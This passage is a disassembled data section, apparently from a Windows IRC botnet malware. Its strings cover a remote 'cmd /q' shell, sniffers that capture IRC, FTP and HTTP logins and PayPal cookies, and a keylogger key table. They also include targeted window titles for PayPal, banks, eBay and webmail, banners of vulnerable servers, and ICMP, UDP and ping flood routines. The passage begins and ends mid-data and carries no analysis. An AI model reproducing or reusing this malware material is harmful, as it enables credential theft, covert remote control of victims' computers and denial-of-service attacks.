ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o ; sub_41036B+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_41036B+2E9o ; sub_41036B+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo aAm db 'AM',0 ; DATA XREF: sub_41036B+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_41036B+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_435120 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D6Eo aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o dword_435164 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410CB8o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0 unk_4351CC db 2Dh ; - ; DATA XREF: ___:00410E94o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_435214 db 2Dh ; - ; DATA XREF: ___:004110E6o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 unk_435254 db 2Dh ; - ; DATA XREF: ___:0041101Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_435298 db 2Dh ; - ; DATA XREF: ___:004113A9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4352C4 db 2Dh ; - ; DATA XREF: ___:00411382o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_4352F0 db 2Dh ; - ; DATA XREF: ___:00411362o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o align 4 unk_43532C db 2Dh ; - ; DATA XREF: ___:004112A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_435358 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_435384 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_41141F+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_435520 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_435554 db 2Dh ; - ; DATA XREF: sub_4116D6+59o ; sub_4116D6+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4355C4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_435644 db 2Dh ; - ; DATA XREF: sub_411920+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co align 4 dword_435684 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_4119F9+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0 align 10h dd 234032Dh, 6B636F73h, 3023473h aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dd 4000500h, 7868746Bh, 2 dup(0) dword_435848 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:0041260Fo dd 6E676953h, 6E4920h, 1Eh dup(0) aHotmail db 'Hotmail',0 dd 1Eh dup(0) aWindowsLiveMes db 'Windows Live Messenger',0 align 10h dd 1Ah dup(0) aPaypal_1 db 'PayPal',0 align 10h dd 1Eh dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 10h dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0) dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0) aTerraFotolog db 'Terra - Fotolog',0 dd 1Ch dup(0) dd 6F686159h, 216Fh, 1Eh dup(0) dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0) aBienvenidoAGma db 'Bienvenido a Gmail',0 align 4 dd 1Bh dup(0) aWelcomeToGmail db 'Welcome to Gmail',0 align 4 dd 1Bh dup(0) aDomainNameRegi db 'Domain Name Registration',0 align 4 dd 19h dup(0) dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0) aMyAccountLogin db 'My Account Login',0 align 4 dd 1Bh dup(0) aMercadolivreBr db 'MercadoLivre Brasil',0 dd 1Bh dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 10h dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 10h dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) db 49h ; I db 6Eh, 69h, 63h db 69h ; i db 61h, 72h, 20h db 73h ; s db 65h, 73h, 69h db 0F3h ; ó aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor' db 'ting goods & more at low prices',0 align 4 dd 4 dup(0) dword_436448 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:00412661o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_436BB4 dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h ; DATA XREF: ___:0041262Do ; sub_41AF8F+EBo dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h dd 2973h, 252EBB2Eh, 2EAB2E73h, 0 dd offset off_4374C0 dd offset off_4374BC dd offset off_4374B8 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh dword_437474 dd 2 dup(0) ; DATA XREF: sub_562ABA+88F5o ; sub_562ABA+88FDo dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00436C54o align 4 off_4374B8 dd offset word_505446 ; DATA XREF: ___:00436C50o off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: ___:00436C4Co off_4374C0 dd offset word_544F42 ; DATA XREF: ___:00436C48o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o aOper db 'oper ',0 ; DATA XREF: sub_413003+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o ; sub_413079+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo align 4 a220 db '220 ',0 ; DATA XREF: sub_413079+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o align 4 unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43776C db 2Dh ; - ; DATA XREF: sub_4131EC+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437840 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h unk_437870 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4378C4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_413694+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 